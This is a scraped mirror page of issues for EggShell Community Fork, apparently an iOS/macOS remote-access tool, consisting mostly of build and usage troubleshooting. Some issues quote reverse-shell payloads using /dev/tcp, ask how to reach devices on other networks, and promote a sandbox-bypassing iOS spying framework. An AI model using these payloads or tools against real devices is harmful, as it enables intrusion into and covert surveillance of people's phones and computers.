Giter Club home page Giter Club logo

eggshell-community-fork's Introduction

From: 17 May 2024 - To: 24 May 2024

Total Time: 10 hrs 29 mins

JavaScript    5 hrs 51 mins   >>>>>>>>>>>>>>-----------   55.62 %
Python        3 hrs 12 mins   >>>>>>>>-----------------   30.38 %
C++           1 hr 16 mins    >>>----------------------   12.17 %
INI           5 mins          -------------------------   00.80 %

eggshell-community-fork's People

Contributors

astroorbis avatar lucasjacks0n avatar nerdtron123 avatar rpwnage avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

eggshell-community-fork's Issues

a bytes-like object is required, not 'str'

Everytime I run the bash command (ex. bash &> /dev/tcp/127.0.0.1/4444 0>&1), the eggshell terminal responds with "a bytes-like object is required, not 'str') and the Eggshell program restarts.

I'm running this on Mac OS 11.2, however I've also tried from Linux and a remote Ubuntu server, all of which reproduce the error. I've double-checked that none of the machines have firewalls interfering, and I'm successfully able to run a tcp connection between the machines using netcat.

Does anyone have an idea of what could be causing this problem and how to fix it? Thanks for your help.

When i paste bash payload in terminal, doesnt work

The title basicallly tells the problem but like, i paste the generated payload..
bash &> /dev/tcp/10.0.0.1/4444
10.0.0.1 being the replacement for actuall ip
and my response is
zsh: no such file or directory: /dev/tcp/10.0.0.191/4444
its not working
wut am i doing WRONG!?????

LHost parameter

What would I put in the LHost section? Anything with 192.168 is local, and sending this over to a device not connected to the same network as me would be useless... halp lmao

Cydia/IOS Repo

a working cydia repo could be added to the readme page for Jailbroken IOS devices with cydia on them.

iOS 16/17 New Alternative Created

Hello,

I just released my tool for accessing iOS remotely. Long story short, it's a post-exploitation framework that uses CoreTrust bug to bypass sandbox (hence malicious app should be installed through TrollStore or similar application). With it you can browse filesystem, download/upload files, read Safari history and bookmarks, SMS data and much more. It's beta so might contain some bugs. You are welcome to contribute and open issues. I know you've been waiting for an alternative to EggShell, and here it is. Enjoy!

You can find source code and more details on how to use it here:

https://github.com/EntySec/SeaShell

DISCLAIMER: Of course it's just for testing and experimental purposes.

Best wishes!

Perhaps isolated issues

[*] [Errno 2] No such file or directory: 'resources/esplmacos'
Should we compile it ourselves?

Play Media file

Functionality to play a media file on the connected device.

iOS repo source for Cydia?

In the original repo it mentioned adding the source "http://lucasjackson.io/repo" but that is no longer working. Is there a different repo now or another way to run it on the target iOS device?

Using latest iOS for remote system monitoring.

Thanks!

Additional context

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]

Describe the solution you'd like
A clear and concise description of what you want to happen.

Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.

Additional context
Add any other context or screenshots about the feature request here.

Build Failed

@RPwnage

Describe the bug
Failed to build esplios

fatal error: 'AppSupport/CPDistributedMessagingCenter.h' file not found
#import <AppSupport/CPDistributedMessagingCenter.h>
        ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
note: did not find header 'CPDistributedMessagingCenter.h' in framework 'AppSupport' (loaded from
      '/Users/enty8080/theos/sdks/iPhoneOS13.0.sdk/System/Library/PrivateFrameworks')
1 error generated.

To Reproduce
Steps to reproduce the behavior:

  1. make

Theos installed, Xcode installed, macOS Big Sur, SDK 13.0 installed.

when starting eggshell

(root💀DESKTOP-LKR0FR1)-[~/EggShell-Community-Fork]
└─# python eggshell.py
Initializing server...
Traceback (most recent call last):
File "eggshell.py", line 171, in
eggshell = EggShell()
File "eggshell.py", line 16, in init
self.server = server.Server()
File "/root/EggShell-Community-Fork/modules/server.py", line 26, in init
self.modules_ios = self.import_modules("modules/commands/iOS")
File "/root/EggShell-Community-Fork/modules/server.py", line 39, in import_modules
m = import(mod[:-3]).command()
File "modules/commands/iOS/getsfri_ios.py", line 3, in
import modules.dataformat as dformat
File "/root/EggShell-Community-Fork/modules/dataformat.py", line 3
def print_formatted_whatsapp(chat_storage : dict):
^
SyntaxError: invalid syntax

Background sessions in multihandler

The issue
The multihandler stops listening for new connections once you interact with a session. It is also impossible to interact with another session unless you exit the current one

Solution?
Run listener in the background. Add a 'bg' command similar to that in meterpreter to background a session and interact with another.

I'm quite sure there is a threading module that can be used here.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.